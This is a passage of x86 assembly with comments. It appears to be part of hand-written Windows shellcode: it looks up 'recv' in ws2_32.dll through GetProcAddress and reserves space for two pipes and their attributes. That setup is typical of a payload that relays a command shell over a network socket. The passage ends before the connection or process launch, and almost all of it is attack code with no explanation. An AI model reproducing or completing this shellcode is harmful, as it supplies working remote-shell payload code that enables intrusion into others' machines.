xor ebx, ebx push ebx push 0x76636572 ; "recv" push esp push dword [ebp-0x24] ; base address of ws2_32.dll mov eax, [ebp-0x8] call eax ; call "GetProcAddress" to get the address of recv add esp, 0x8 ; stack rebase push eax ; address of `recv` is at ebp-0x2c
; lift up stack to reserve space for hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2 ; hReadPipe1 is at ebp-0x30 ; hWritePipe1 is at ebp-0x34 ; hReadPipe2 is at ebp-0x38 ; hWritePipe2 is at ebp-0x3c sub esp, 0x10
; for pipeattr1 ; pipeattr1 is at ebp-0x48 push dword 0x1 push dword 0x0 push dword 0xc
; for pipeattr2 ; pipeattr2 is at ebp-0x54 push dword 0x1 push dword 0x0 push dword 0xc